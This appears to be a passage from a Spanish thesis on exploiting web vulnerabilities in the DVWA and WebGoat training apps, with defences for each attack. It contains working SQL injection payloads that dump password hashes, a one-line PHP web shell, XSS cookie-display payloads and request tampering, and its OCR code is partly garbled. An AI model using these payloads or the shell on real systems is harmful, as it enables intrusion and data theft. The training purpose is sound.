if (isse:(S_EET['S:bm;t']]] {
$id = § GET['"id']:
§£id = mysgl real escape string($id):
£getid = "SELECT first_name, last_name FROM users WHERE user_id = gid";
fresult = mysql_query(igetid] or die('<pre>' . mysgl error() . '</prex' );

Snum = mysgl numrows ($resulc):

-
5i=0;

]

[s

while (i < &num) {

$first = mysgl result ($result,$i,"first name");
$last = mysgl result ($resulc,$i,"last name");

echo '"<pre>':;
echo 'ID: ' . $id . '"<br>First name: ' . £first . '<br>Surname: ' . £last:
echo '</pre>';

$it++:
25
Figura 54. Cédigo PHP SQL Injection Level médium.

En el modo alto de seguridad, DVWA evita el ataque de inyeccion de SQL de la
siguiente forma:

e Uso de la directiva ‘magic_quotes_gpc’, que no permite el uso de las
comillas en los datos de entrada.

e ‘Stripslashes()’ se encarga de eliminar las barras de un String con
comillas.

e ‘Mysql _real _escape_string()’ impide que se introduzca caracteres
especiales.

e ‘Addcslashes()’impide el uso de caracteres como \n.
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4.1.2.7 Blind SQL Injection

La mayoria de las paginas web, para evitar el ataque SQL Injection, dejaron de
mostrar los mensajes de error, surgiendo de esta forma, un nuevo tipo de
ataque, la inyeccion de SQL a ciegas.

Blind SQL Injection!? surge como consecuencia a aplicar una solucién parcial a
SQL Injection, ya que aunque no se vean los mensajes de error, al no filtrarse
la entrada, se puede meter codigo SQL. Hay dos técnicas para saber si una
pagina es vulnerable a Blind SQL Injection:

» Basado en contenido: en este caso solo muestra resultado en caso de
que la consulta arroje valores, si no, no se arrojara ningun resultado. El
resultado, en este tipo de consultas, siempre es el mismo, es decir, True
o verdadero. Este tipo de ataque se suele combinar con la fuerza bruta,
para buscar, caracter a caracter, el valor de la contrasefia de un usuario
o cualquier otro dato que se vaya obteniendo por una acumulacion de
aciertos.

» Basado en tiempo: este tipo de ataques se realiza ejecutando sentencias
SQL que requieren mucho tiempo para arrojar los resultados. Si arroja
los resultados de forma inmediata, quiere decir que no es vulnerable a
este tipo de ataque. Una sentencia SQL muy popular es ‘sleep”.

Como ejemplo de ataque basado en contenido, estaria el de una tienda que
arroja informacion sobre productos de su catalogo, siendo un posible url:

hotp: //www.shoes.local ftiem. php?id=2

Esta URL da lugar a la siguiente sentencia SQL que se ejecuta sobre la base
de datos:

SELECT nombre, descrpcion, precio FRCM productos WHERE id=34

El atacante puede facilmente manipular la URL, modificando su valor y
poniendo:

http://www.shoes.local/tiem.php?id=2 and 1=2

Que da lugar a la siguiente sentencia SQL

SELECT nombre, descrpcion, precico FROM productos WHERE id=34 and 1=2

Légicamente esta sentencia no arroja ningun resultado, por lo que no se
visualizara ninguna informacion en la pagina web.

Si modificamos la URL y ponemos:

http://www.shoes.local/tiem.php?id=2 and 1=1

2 https://www.acunetix.com/websitesecurity/blind-sql-injection/
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Arrojara resultados en la pagina web y veremos los detalles del producto con el
id=2.

Para comprobar si una aplicacion es vulnerable al ataque basado en el tiempo,
lo podemos hacer introduciendo la siguiente direccion en el navegador:

http: /S www.shoes . local /tiem.php?id=2 and if(1=1, =sleep(10), false)

Si el navegador tarda diez segundos en arrojar los resultados, es porque la
pagina web es vulnerable.

En la pagina DVWA introducimos varios comandos SQL® para probar esta
vulnerabilidad:

1. Para obtener los datos del usuario con id=1.
1" AND 1=1#

Vulnerability: SQL Injection (Blind)

User ID:

Subsnnit

Figura 55. SQL Injection (Blind).

2. Para Ver todos los usuarios
or 1=1 --

Vulnerability: SQL Injection (Blind)

User ID:

Submit
ID: ID: "o 1=1
irst name in
Surname: admin
Ib: ID [« 1=1
irst name: Gordo
Surname: HBrown
I: ID ar’ 1=1
irst name: Hac
surname: Me
I: ID i
irst name
Surname: Picasso
ID: I0D: “or’ 1=1
irst name: Bal
Surname: smith

Figura 56. SQL Injection (Blind).

13 http://scxoloc06c.blogspot.com.es/2012/02/dvwa-blind-sql-injection-low-level.html
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3. Paraver lainformacion de la tabla

1" and 1=8 union select null, table name from information_schema.tables#

Vulnerability: SQL Injection (Blind)

User ID:
| | [ Submit |
ID: 1° and 1=A wnion select null,table name from irformation_schema. tablecl
First name:
Surnane: CHARACTER_SETS
ID: 1° and 1=8 wnionm select null,table_name fron irforsation_schema. tablest
Firsh nmame:
Surnane: COLLATIONS
8 wunion select null,table name from irformation_schema. tablesd
LATION CHARACTER_SET_APPLICARILITY

ID: 1° and 1=8 wnionm select null,table_name fron irforsation_schema. tablest
Firsh nmame:
Surnane: COLUMNS
ID: 1° and 1=A wnion select null;table name from inforsmation_schema. tablesd
FIrst name:
Surname: COLUMN PRIVILEGES
ID: 1° and 1=8 wnion select null,table name from irforsation_schema. tablesl
Firsh nmame:
Surnane: ENGINES
ID: 1° and 1=A wnion select null;table name from inforsmation_schema. tablesd
FIrst name:
Surname: EVENTS
ID: 1° and 1= wnion select null,table name from irforsation_schema. tablesl
First name:
Surname: FILES
ID: 1° and 1=8 wnion select null,table name from inforsation_schema. tablest
FIrst name:
Surnane: GLOBAL_STATUS
ID: 1° and 1=A wnion select null,table name from irformation_schema. tablecl
First name:
Surmane: GLOBAL_WARTABLES
ID: 1° and 1=8 wnionm select null,table_name fron irforsation_schema. tablest
Firsh nmame:
aurnane: KEY_COLUMN_US&GE
ID: 1° and 1=A wnionm select null,table name from irforsmation_schema. tablesd
First name:
Surmane: OPTIMIZER_TRACE
ID: 1° and 1=8 wnionm select null,table_name fron irforsation_schema. tablest
Firsh nmame:
Surnane: PARAMETERS
ID: 1° and 1=A wnion select null;table name from inforsmation_schema. tablesd

e

¢ PARTITIONS
ID: 1° and 1=8 wnion select null,table name from irforsation_schema. tablesl
FIrsh nmame:
Surmane: PLUGINS
ID: 1° and 1=A wnion select null;table name from inforsmation_schema. tablesd
FIirst name:
Surname: PROCESSLIST
ID: 1° and 1= wnion select null,table name from irforsation_schema. tablesl
First name:
Surnane: PROFILING

Figura 57. SQL Injection (Blind). Informacién Tabla.
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4. Para ver usuario y contrasefa

1" and 1=8 union select null, contact(first name, @xBa, password) from users#

User ID:

Submit

ID: 1" and 1=8 union select null,concat(first_name,@x®a,password) from users #
First name:

Surname: admin

5f4dcc3b5aa7e5d61d8327deb882cfo9

ID: 1" and 1=0 union select null,concat(first_name,@x@a,password) from users #
First name:

Surname: Gordon
e99a18c428cb38d5T260853678922e03

ID: 1" and 1=8 union select null,concat(first_name,@x®a,password) from users #
First name:

Surname: Hack

8d3533d75ae2c396Rd7e@d4fccad216h

ID: 1" and 1=8 union select null,concat(first_name,@x®a,password) from users #
First name:

Surname: Pablo

8d187de9fsbbeddcadeldeSc71e%e9b7

ID: 1" and 1=0 union select null,concat(first_name,@x®a,password) from users #
First name:

Surname: Bob

5f4dcc3b5aa7e5d61d8327deb882cF99

Figura 58. SQL Injection (Blind). Usuario y contrasefia.

Podemos evitar SQL Injection (Blind) de la siguiente forma:

e Restringiendo el uso de caracteres especiales.

e Entiempo real, realizaremos filtros de la informacion que entra.

e Usaremos las funciones addcslashes(), ‘mysqgl_real escape_string()
‘para filtrar toda la informacién que recibimos.

e Usando las librerias mysqli“.

14 http://php.net/manual/es/book.mysqli.php
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4.1.2.8 File Upload

En esta vulnerabilidad, un usuario puede subir un cédigo malicioso a través del
tipico formulario web que permite seleccionar y subir archivos al servidor desde
la computadora local. Estos formularios de subida de archivos son muy
habituales en los foros, redes sociales, paginas de e-learning e inclusive en
algunas web de bancos o entidades de crédito, que habilitan esta funcionalidad
para que el usuario pueda subir su DNI u otros documentos escaneados.

El origen de esta vulnerabilidad es no comprobar que el archivo que se esta
adjuntando es el permitido en el formulario, suele ser habitual los archivos tipo

Jpg’.

Probamos la vulnerabilidad, subiendo el archivo ‘dvwa.jpg’

Choose an image to upload:
m Mingun archive seleccionado

Figura 59. File Upload. Formulario subida archivos.

= 1 I Escritorio v & Buscar en Escritorio

Organizar = MNueva carpeta =

L.

0 Favoritos '
) Grupo en el hogar
%% Dropbox

& Descargas

B Escritorio ] usuario
I . . ;
1= Sitios recientes Seleccione el archivo del que desea

obtener la vista previa.

N W :
*& Grupo en el hogar ;&} Este equipo

1M Este equipo =
| Biblictecas

Descargas
4 Descarg N

Mombre: |dea.jpg| v| Todos los archivos

Abrir |v Cancelar

Figura 60. File Upload. Explorador Windows.
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Y tras seleccionarlo se sube al servidor web:

Choose an image to upload:
| Seleccionar archivo | DVWA.JPG

Figura 61. File Upload. Subida del archivo.

Al subirlo, podemos ver el mensaje que nos confirma que el proceso se ha
realizado correctamente, y la ubicacién del archivo en el servidor.

Choose an image to upload:
| Seleccionar archivo | Mingun archivo seleccionado

../ .. fhackable/uploads DV, I8G succesfully uploaded!

Figura 62. File Upload. Proceso completado.

Escribiendo la URL en el navegador, podremos comprobar que la Figura se
encuentra en el servidor:

DVWALIPG (153xT74)

€« - C [3127.0.0.1/dvwa//hackable/uploads/DVWAJPG

Figura 63. File Upload. Archivo en servidor.

Para comprobar si el sitio es vulnerable, vamos a intentar subir un archivo, un
script realizado en PHP.

<?php

$cmd= § GET["cmd"]);
system(Scmd) ;

?2>

Y podemos subir el fichero sin problemas
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Choose an image to upload:
| Selecoionar archivo | Mingun archivo seleccionado

| Uplosd |

/. -fhackablefuploads/=shell. php succesfully wploaded!

Figura 64. File Upload. Subida Script servidor.

De esta manera ya hemos conseguido subir una Shell al servidor con la que
poder ejecutar comandos dentro del servidor web.

Vamos a probar a realizar un ‘DIR’:

E 127.0.0.1/dvwa//hackable x

<« C' | [} 127.0.0.1/dvwa//hackable/uploads/shell.php?cmd=dir Qr =

El volumen de la mudad C es Wmdoews El nfmeroe de serie del volumen es: F6F2-06A1 Directorio de C:'xampp'htdocs DVWA hackableuploads 15/0820135 21:11
. 15/0872015 21:11

. 15/08/2015 20:51 10151 DVWATPG 01/05/2013 06:46 667 dvwa_email png 15/08/2015 21:11 53 shell php 3 archives 10.871 bytes 2 dirs
102.298.546.176 btes hibres

Figura 65. File Upload. Ejecucion comando en servidor.

La prevencion del ataque lo podemos hacer usando las funciones PHP:

‘Getimagesize (): esta funcion obtiene las dimensiones (anchura y

altura) de una Figura, los bits de la Figura y el tipo al que pertenece.

e Imponiendo un limite en el tamafio del archivo a recibir, como hace
DVWA en el nivel medio de seguridad.

¢ No sirve de nada verificar los tipos de archivo, ya que las cabeceras se
pueden cambiar, por lo que se hace necesario el uso de funciones como
getimagesize() , que en el caso de no actuar sobre una imagen, no
arrojaria ningun resultado.

e No se debe permitir el acceso inmediato al archivo que ha subido el
usuario, sin antes comprobarlo.

e No permitir que se suban archivos PHP.

e Crear un directorio especifico ajeno al directorio de publicacion de la

web.
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// Ruta de la imagen
$src = "php.png";

//Obtenemos informacion de la imagen
$info = getimagesize($src);
//Anchura -> $info[0]

//Altura -> $info[1]

print "<p>Examinando la imagen <strong>$src</strong></p>";

//Extraemos toda la informacion
foreach (%$info as $key => $val)
{

print “<p>$key => $val</p>";

}

Figura 66. File Upload. Cédigo Getimage()*®

‘Header’: fuerza a que el archivo descargado tenga la extension “.jpg’, ‘.png’ o
‘.gif’

/*Forzar descarga de archivos*/

/*Ruta de la imagen*/

Sruta = 'php-o.png';

/*Informacién de la imagen para obtener la extensién*/
$info = pathinfo($ruta);

/* Obtener la extensién */

Sext = strtolower($info["extension"]):

switch (Sext)

{

case 'png':

$tipo = 'image/png';
break;

case 'jpg':
Stipo = 'image/jpg':
break:;

case 'gif':
Stipo = 'image/gif"';
break:;

default:

/* Para descargar cualquier tipo de archivo
si quieres gue se descarguen sélo imAgenes
guita esta parte de aqui */

Stipo = 'application/force-download';
break:

}

$size = filesize(Sruta);
header ('Pragma: public');
header ("Expires: 0');

header ('Cache-Control: must-revalidate, post-check=0, pre-check=0"); /*Para algunos navegadores*/
header ('Cache-Control: private', false); /*Para algunos navegadores*/

header ('content-type: '.Stipo.'');

header ('content-disposition: attachment; filename="'_.basename (Sruta).'""');

header ('Content-Transfer-Encoding: binary'):

header ('Content-Length: '.$size);

readfile ($ruta);

Figura 67. File Upload. Cédigo Header.

5 http://php-estudios.blogspot.com.es/2014/07/obtener-las-dimensiones-anchura-y.html
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4.1.2.9 XSS Reflected

El ataque Cross-Site Scripting (XSS)®* o0 Secuencias de érdenes en sitios
cruzados es un tipo de inyeccion de cbdigo, que no se ejecuta en la aplicacion
web pero si se origina cuando el usuario carga una URL determinada en su
navegador.

La finalidad de este tipo de ataque es robar las cookies del usuario infectado,
apropiarse del navegador, ver las paginas visitadas, los favoritos, o cambiar el
contenido y aspecto de la pagina que esta visitando la victima.

El ataque se suele dar habitualmente de las siguientes formas:

e El cddigo malicioso es ejecutado en el navegador del usuario.

e Se produce, por el reclamo de algun enlace, una visita a la web
vulnerable.

e El usuario recibe el enlace de la pagina por correo, chat, etc.

e Se accede a una pagina con el cédigo malicioso camuflado.

A continuacion, probamos este tipo de ataque, en DVWA:

e Accedemos e interactuamos con la pagina
Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

ose Carlog| Subnit

Figura 68. XSS Reflected. Formulario.

e Tras esto nos aparece el mensaje de bienvenida y vemos cémo ha
cambiado la URL

4 127.0.0.1/DVWAvulnerabilities/xss_r/?name=JoseCarlos# ks

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?
Submit

fello Joselarlos

NN BEE

Figura 69. XSS Reflected. Mensaje bienvenida.

16 http://xsser.sourceforge.net/xsser/XSS_for_fun_and_profit_SCG09_(spanish).pdf
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e Cambiamos la URL original por:

(O 127.0.0.1/DVWA/vulnerabilities/xss_r/?name= <script > alert(document.cookie) < /script> B

Y podemos ver la identificacion de la sesién actual del usuario, ya que al
inyectarse el codigo, se muestra la cookie de sesion en nuestro
navegador

PHPSESSID=mqg6&o0un8evmapdieqrdth7kho2; security=Ilow

Figura 70. XSS Reflected. Cookie usuario actual.

Podemos evitar el ataque XSS Reflected de la siguiente manera:

e Usando la funcion str_replace(), como se hace en el nivel medio de
seguridad de DVWA, para reemplazar la cadena <script>, por una
cadena vacia.

e Filtraremos siempre la informacion que entra por el formulario,
teniendo una especial fijacion en las etiquetas PHP que puedan
suponer un peligro, como script, object, applet, embed y form.
También tendremos cuidado con los caracteres “>”y “<”,

e Usaremos la funcién htmispecialchars(), de la misma manera que lo
hace DVWA en su nivel alto, convirtiéndose caracteres especiales en
HTML. Ejemplos de esta conversion, serian:

‘&’ se convierte en ‘&amp;’
“” se convierte en ‘&quot’.
‘<’ se convierte en ‘&lt; .

‘>’ se convierte en ‘&gt;’.

0O O O O
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4.1.2.10 XSS Stored

Este ataque es mas peligroso que el anterior, ya que nos posibilita ejecutar
codigo inyectado en los navegadores de todos los usuarios que vistan la
aplicacion web.

Este ataque supone un peligro para el usuario que esta visitando la pagina
web, ya que se ejecuta en el equipo del usuario, y no en el servidor.

Se da en sitios que reciben informacién a través de GET, que se aprovecha
para inyectar codigo en el navegado en el caso de ser vulnerable.

Este codigo no se guardara de forma permanente, pero con el podremos
obtener la informacion que queremos, como pueden ser cookies, o la
contrasefa del propio usuario.

El atague se suele dar en paginas que permiten almacenar algun tipo de
informacion y se suele dar de las siguientes formas:

e El atacante guarda cddigo malicioso de forma permanente en una
web atacable.

e La web tiene un sistema de identificacion del usuario.

e La victima accede a web vulnerables.

e El navegador del usuario ejecuta el cédigo malicioso.

Una vez que el equipo ha sido infectado, es posible tomar el control del
navegador del usuario, podremos:

e Capturar informacion sobre las aplicaciones que usa.

e [Escanear puertos que usan las aplicaciones web.

e Ejecutar Exploit.

e Alterar la apariencia de la pagina web.

e Realizacién de atagues coordinados mediante el secuestro masivo
de navegadores.

Los ataques XSS Stored suelen ser posibles en aquellas paginas en la que
es posible que el usuario deje algun texto, como pueden ser foros, noticias,
valoraciones de productos en tiendas on-line, redes sociales o paginas que
permiten subir archivos, etc.

La forma de saber si una pagina es vulnerable a este ataque seria probando
a intercalar cédigo HTML en un comentario, y ver si aparece reflejado en la
pagina.
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DEJA UN COMENTARIO
Tu direccion de correo electrénico no sera publicada. Los campos necesarios estan marcados *
Mombre *
JoseCarlos

Correo electrénico *
jose@terra.es
Web
http:/ fwww.jose.es
Comentario

Es una <b= buena </b> noticia para Brihuega.|

Publicar comentario

Figura 71. XSS Stored. Formulario foro.

Vemos que posteriormente aparece el comentario, y la pagina Web es
vulnerable al ataque.

SIN COMENTARIOS

JoseCarlos 16/08/2015 at 9:27 am

Su comentario estd a la espera de ser revisado.
Es una buena noticia para Brihuega.

Responder

Figura 72. XSS Stored. Publicacion comentario.

Recientemente, en Abril de 2015 se detect6 que la pagina de WordPress
era vulnerable a este ataque, ya que pudieron introducir cédigo Javascript
en sus formularios.
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En DVWA se puede reproducir el ataque con los siguientes pasos:

e Seleccionamos XSS Stored

i Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Setup

Brute Force Message *
Command Execution
— Sign Guestbook
Insecure CAPTCHA
File Inclusion

Name: test
SQL Injection Message: This is a test comment.
SQL Injection (Blind) i
Upload More info
XSS reflected

Figura 73. XSS Stored. Ataque en DVWA.

MName *

e Metemos los datos quedando registrados

Mame: test
Message: This is a test comment.

Name: Jose
Message: prueba

Figura 74. XSS Stored. Comentarios registrados en DVWA.

e Probamos a insertar codigo

Vulnerability: Stored Cross Site Scripting (XSS)

Name * JoseCarlos

<script=alert(document.cookie)</script=

Message *

Sign Guestbook

Figura 75. XSS Stored. Insercion Cédigo Script.

José Carlos Novella Roman 65



Explotacion de vulnerabilidades web a través de DVWA

e Vemos como la pagina web lo ejecuta

PHPSESSID=mg6odun8evmapdiogrdth7kho2; security=low

Figura 76. XSS Stored. Ejecucion Script.

Para evitar este tipo de ataque, utilizaremos las siguientes recomendaciones y
funciones PHP:

e Filtraremos los caracteres “<”’ y “>”
e Filtraremos las etiquetas peligrosas, como pueden ser:
o <script>
o <object>
o <applet>
o <embed>
o <form>
e Usaremos las funciones:
o htmispecialchars().
o mysql_real_escape_string().
o htmispecialchars().

DVWA en su nivel medio de seguridad usa la funcion strip_tags() para eliminar,
en este caso, los tags HTML que pudieran entrar por el formulario y para
eliminar la etiqueta <script> hace uso de la funcién str_replace().
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4.2. WEBGOAT

4.2.1. Introduccion

WebGoat!’ es una aplicacion web J2EE deliberadamente insegura, mantenida
por OWASP vy disefiada para ensefiar lecciones de seguridad en aplicaciones
Web.

OWASP (Open Web Application Security Project)!® es un proyecto abierto
dedicado a permitir a las organizaciones realizar el desarrollo, adquisicion y
mantenimiento de aplicaciones fiables. Todo el material producido por OWASP
es puesto a disposicion de la comunidad de forma libre y abierta, con el fin de
promover la mejora de la seguridad en las aplicaciones.

OWASP es una organizacion totalmente independiente de las presiones
comerciales que garantiza la imparcialidad de sus informaciones. La fundacion
OWASP es una entidad sin &nimo de lucro que asegura el mantenimiento del
proyecto a largo plazo.

OWASP mantiene WebGoat, que como hemos dicho, es una aplicacién
vulnerable, que esta formada por un conjunto de lecciones. En cada leccion el
usuario se enfrenta a diferentes vulnerabilidades.

WebGoat estd escrito en Java, lo que posibilita que se pueda instalar en
cualquier plataforma que disponga de una maquina virtual Java. Existen
descargables para Windows, Linuxy OS X.

Es posible visualizar una gran cantidad de videos en la pagina YGN Ethical
Hacker Group

WebGoat dispone de mas de 30 lecciones, y podemos ver las siguientes
vulnerabilidades:

e General (HTTP Basics, HTTP Splitting).
e Access Control Flaws.

e AJAX Security.

e Authentication Flaws.

e Buffer Overflows.

e Code Quality.

e Concurrency.

e Cross-Site Scripting (XSS).
e Improper Error Handling.

e Injection Flaws.

e Denial of Service (DOS).

e Insecure Communication.
e Insecure Storage.

e Malicious Execution.

7 https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project#tab=Main
18 http://www.owasp.org
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e Parameter Tampering.

e Session Management Flaws.
e Web Services.

e Admin Functions.

e Challenge.

4.2.2. Instalacion

Es posible instalar WebGoat en los diferentes sistemas operativos mas
importantes. Solo describimos la instalacion en Windows, ya que se trata
Unicamente de descomprimir un archivo “.Zip’.

Lo podemos descargar desde Google Code:

0 owasp WEDGOAL

WebGoat is a deliberately insecure J2EE web application designed to teach web application security concepts

Google Code will be turning read-only on Aug

Project Home Downloads | Wiki lssues Export to GitHub

Search | Current downloads w | for | Search |

Filename v Summary + Labels v
WebGoat-5.4-0WASP_Standard_Win32.zip WebGoat 5.4 for Windows - download, unzip, click to run version Featured

WebGoat-5.4.war WebGoat 5.4 war file Featured
README-5.4 tut WebGoat 5.4 ReadMe file  Featured
Solving the WebGoat Labs Draft V2. pdf Solving the WebGoat Labs

Figura 77. WebGoat. Descarga WebGoat.

Una vez descargado, se procede a descomprimir el contenido en un directorio:

Archive Ordenes Herramientas  Favoritos Opciones  Ayuda

FAP U & & 4 ¥

Afadir  Extraeren Comprobar Ver Eliminar Buscar Asistente Informacion | Buscarwvirus Comentario  Auto extraible

m E WebGoat-5.4-0WASP_Standard_Win32 zip\WebGoat-5.4 - archivo ZIP, tamafio descomprimido 144,947,182 bytes

MNombre Tamaric Comprimido  Tipo Modificado CRC32

'], Carpeta de archivos

|, tomeat Carpeta de archivos  27/04/2012 16:29

L java Carpeta de archivos  27/04/2012 16:29
webgoat_BDBO.bat 684 402 Archivo porlotes .. 20/04/2012 2218 F2E71EFS
|| webgoat.sh 1.607 606 Archivo SH 20/04/2012 2218 ESBA1464
[@] webgoat.bat 682 400 Archivo porlotes .. 20/04/2012 22118 BF2558EE
| README.txt 7548 2,592 Documento detexto  26/04/201213:10 02C2ADSC

=L o Total 2 carpetas y 10.922 bytes en 4 ficheros

Figura 78. WebGoat. Descompresion archivo.
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Tras descomprimirlo se procede a ejecutar el archivo ‘webgoat.bat’

ago 16, 2815 2:57 PM org.apache.catalina.startup.Catalina load

Informaci¥n: itialization processed in 418 ms

ago 16, 2815 2:59 PM org.apache.catalina.core.8tandardService startInternal
Informaci¥#n: Arrancando servicio Catalina

ago 16, 2015 4:-22:579 PM org.apache.catalina.core.StandardEngine startInternal
Informaci¥#n: Starting Servlet Engine: Apache Tomcats7.8.27

ago 16, 2815 4:22:5% PM org.apache.catalina.startup.HostConfig deployWAR
Informaci¥n: Despliegue del archivo C:sUserssusuariosDesktopsWehGoat—5.4-0WASP_S
tandard _Yin32-WehGoat—-5.4“tomcat“webhapps-WehGoat .war de la aplicaci¥®n web

ago 16, 2015 4:-23:01 PM org.apache.catalina.startup.HosztConfig deployDirectory
Informaci¥#n: Despliegue del directorio C:sUserssusuariosDesktopsMWebhGoat—5.4-0UAS
P_Standard_Wind2-WebGoat-5.4“tomcat>webappsshost—manager de la aplicaci¥n web
ago 16, 2815 4:23:81 PM org.apache.catalina.startup.HostConfig deployDirectory
Informaci®n: Despliegue del directorio C:slUszerssusuariosDesktop~WebhGoat-5.4-0WAS
P_Standard_Win32\WebGoat-5.4“tomcat webappssmanager de la aplicaci®n wehb

ago 16, 2815 4:23:81 PM org.apache.catalina.startup.HostConfig deployDirectory
Informaci®n: Despliegue del directorio C:slUszersswsuariosDesktop~HWebGoat—5.4-0WAS
P_Standard_Win32\WehGoat—5.4%tomcat webhapps~RO0T de la aplicacid¥n webh

ago 16. 2815 4:23:81 PM org.apache.coyote.AbstractProtocol start

Informaci®n: Starting ProtocolHandler ["http-hio—127.8.8.1-868"]

ago 16, 2815 4:23:81 PM org.apache.coyote.AbstractProtocol start

Informaci®n: Starting ProtocolHandler ["ajp—hio-8889']

ago 16, 2815 4:23:81 PM org.apache.catalina.startup.Catalina start

Informaci#n: Server startup in 2271 ms

| =1 Tomcat m

Figura 79. WebGoat. Ejecucion.

Abrimos la pagina http://127.0.0.1/WebGoat/attack en el navegador

accedemos con el nombre de usuario ‘guest’ y contrasefia ‘guest’

y
127.0.0.1/WebGoat/attack X \_ \

s |

y

€« & 127.0.0.1/WebGoat/attack
Se requiere autenticacion

.0.0.1:80 requiere un nombre de

El servidor http:

MNombre de usuario:  guest

Contrasefia:

Figura 80. WebGoat. Pdgina autentificacion.
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Tras identificarnos correctamente accedemos a la pantalla de presentacion, y
ya podemos empezar a realizar las lecciones que propone WebGoat para
probar las diferentes vulnerabilidades.

WebGoat V5.4

& = C [[4127.0.0.1/WebGoat/attack

ons P wenGot vo.4

Thank you for using WebGoatl This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing techniques.

The WebGoat project is led by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

OWASP ASPECT

The Opsent Wb Application Security Praject
Application Security Experts
WebGoat Authors
Bruce Mayhew
Jeff Wiliams

WebGoat Design Team V5.4 Lesson Contributers
David Anderson Sherif Koussa
Laurence Casey (Graphics) iannis Paviosoglou
Fogan Dawes
Bruce Mayhew

Special Thanks for V5.4 Documentation Contributers

Erwin Geimaert
Aung Khant
Sherf Kousss

Brian Ciomei (Multtude of bug fixes)
To allwho have sent comments

Start WebGoat

WARNING
While running this program, your machine is extremely vulnerable to attack i you are not running on locahost. If you are NOT
running on kocahost {default configuration), You should disconnect from the network while using this program.

This program is for educational purposes only. Use of these techniques without permizsion could kesd to job termination, financia
ability, andfor eniminal penalties.

Figura 81. WebGoat. Pdgina presentacion.

Tras la pantalla de presentacidon, pasamos a la pantalla de introduccioén, y en el
menu de la izquierda ya vemos las lecciones sobre los diferentes ataques que
podemos realizar, y los diferentes elementos de la pantalla.
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How to work with WebGe % § %

C | [) 127.0.0.1/WebGoat/attack

Chnoase anather fanguage: | English ¥ |

Solution Videos Restart this Lesson

How To Work With WebGoat

Welcame to 3 shart introduction to WebGoat.
Here you will lsarn haw to use WebGoat and addtional toals for the iessons.

Authenticamion Flaws
Butler Overfiows

Environment information

WebGoxt uses the Apache Tameat senver. It & configured to run an locaihast aithough this can be axsdly
changad. This canfiguration & for singie user, dddmanal users can be ddded in the tomeat-usans. xmi Sle,
It you want to use WedGEoadt in 3 labaratary or in Clxss you megnt naad ta change this setup. Plexse refer
to the Tamcat Configuratson & the Introduction section.

The WebGoat intarface

5 Bestant this Lesson
Enter your tame n 1he A0ut feld Delow 000 Dress 00" 90 bt The serve’ wil Bicet e
reguest. severse e mout, 808 declay £ 2ack B B user, Buttreteg the Satcs of Rending
04 NTTF feguent

Tha wsar 1hould become famdar weh e facres of WebGoet by manguanng e above
DURing 19 vt NATS a0 00N, Tou have 20 wse SedScand fr the Aot Sene.

tota yeur rame

. These are Leszan Categanes in WebGoat. Chck an a Categary to soc all Lessons init.
. This willl show technical hints o salve the lesson.

. This will show the HTTP Raguest Parameters

. This willl show tha HTTP Raguast Coakies

. This willl show Qadis and abjectives of the lesson.

. This willl show the undertying Java source code.

. This willl show the compiete salutson of the selacted kesson.

. 1f you want ta restart 3 65500 You Can use this bnk.

Solva The Lasson

Always start with the iessons plan, Than try 20 salve thie iesson and # naceszary, use the hints, The st
funt 5 the solution text & applicadle. If you cannot salve the iesson using r oW the
Zahtian for compiete dotads.

Read And Edit Paramsters

To redd and adit Parameters you naad a focal praxy to intercapt the HTTP raguast. Here we use
WebScarah, Mare information on WebScarab can be found in the “Useful Toals ™ Chapter.

Read And Edit Cookles

Often & &= not anly necessary 10 Changs tha value of the parametens but ta change tha value of coakies,
WebScarab has functionaity for this s well,

* Congratulations. You have successfully compieted this lesson.

Welcome to WebGaat !}
Created by: Reto Lippuner, Marced Wirth

OWASPE Foundatan | PFrojec WedGoxt | Report Bug

Figura 82. WebGoat. Menus vulnerabilidades.
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4.2.3. Utilidades de WebGoat

Como hemos comentado anteriormente en la introduccion, WebGoat permite
simular una gran cantidad de ataques. A continuacién pasamos a exponer y
practicar con los diferentes ataques.

4.2.3.1. Bypass Bussiness Layer Access Control
En este ejemplo de WebGoat nos vamos a logar como el usuario ‘Tom Cat’ y la
contrasefia ‘tom’.

“ Goat Hills Financial

5
;ﬁ Human Resources

i o

Please Login
Larry Stooge (employee) v
Larry Stooge (employee)
Moe Stooge (manager)
Curly Stooge (employee)
Ernic Walker (employee)
Jerry Mouse (hr)
David Giambi (manager)
Bruce McGuirre (employee)
Sean Livingston (employee)
Joanne McDougal (hr)
John Wayne (admin)
Neville Bartholomew (admin)

S

Figura 83. Bypass Bussiness

Una vez que hemos accedido, la pagina nos da la opcién de buscar empleados
o ver la ficha del empleado:

& Goat Hills Financial

i Human Resources
[I'ITH" Welcome Back Tom - Staff Listing Page

(4

Belect from the list below

Tom Cat (employee)
SearchStaff
ViewProfile
Logout

L

Figura 84. Bypass Bussiness. Opciones.
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Podemos ver la ficha:

“ Goat Hills Financial

L1
u‘n Human Resources

r|'l'i1i1 Welcome Back Tom - View Profile Page - ]
First Name: Tom Last Name: Cat

Street: 2211 HyperThread Rd. City,/State: Mew York, NY

Fhone: 443-599-0762 Start Date: 1011999

SSN: 7092-14-6364 Salary: 230000

Credit Card: 5481360857968521 Credit Card Limit: 30000
Comments: Co-Cwnern

Disciplinary Explanation: Disc. Dates: 0

&

Manager: 106

ListStaff | EditProfile

Figura 85. Bypass Bussiness. Ficha empleado.

En este ataque lo que vamos a hacer es interceptar la peticiéon de la pagina
web al servidor, y modificar los parametros, para ello nos ayudamos de
TamperData.

@ hitp://127.0.0.1/WebGoat/attack?Screen=141&menu=200
s

Continuar modificando?

Modificar Enviar Abortar peticion

Figura 86. Bypass Bussiness. Intercepcion TamperData.

Una vez que podemos ver los datos del paquete, modificamos el campo
‘action’, quitando ‘ViewProfile’ y poniendo la accién de DeleteProfile.
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http://127.0.0.1/WebGoat/attack?Screen=1418&menu=200
MNombre de cabecera pedida Valor de cabecera pedida Mombre de parametro p..  Valor de parametr...
Host 127.0.0.1 employee_id 105
User-Agent Mozilla/3.0 (Windows NT 6.3; WOWE: ne:40, action DeleteProfile
Accept text/html, application/xhtrml+xml,application,
Accept-language es-ES,es;q=0.8,en-US:g=0.5,en;q=0.3
Accept-Encoding gzip, deflate
Referer http://127.0.0.1/WebGoat/attack?Screen=141
Cookie JSESSIONID=4F667661DCIAT4ETAF4519B136E
Authorization Basic d2ViZ29hdDp3ZWInb2F0
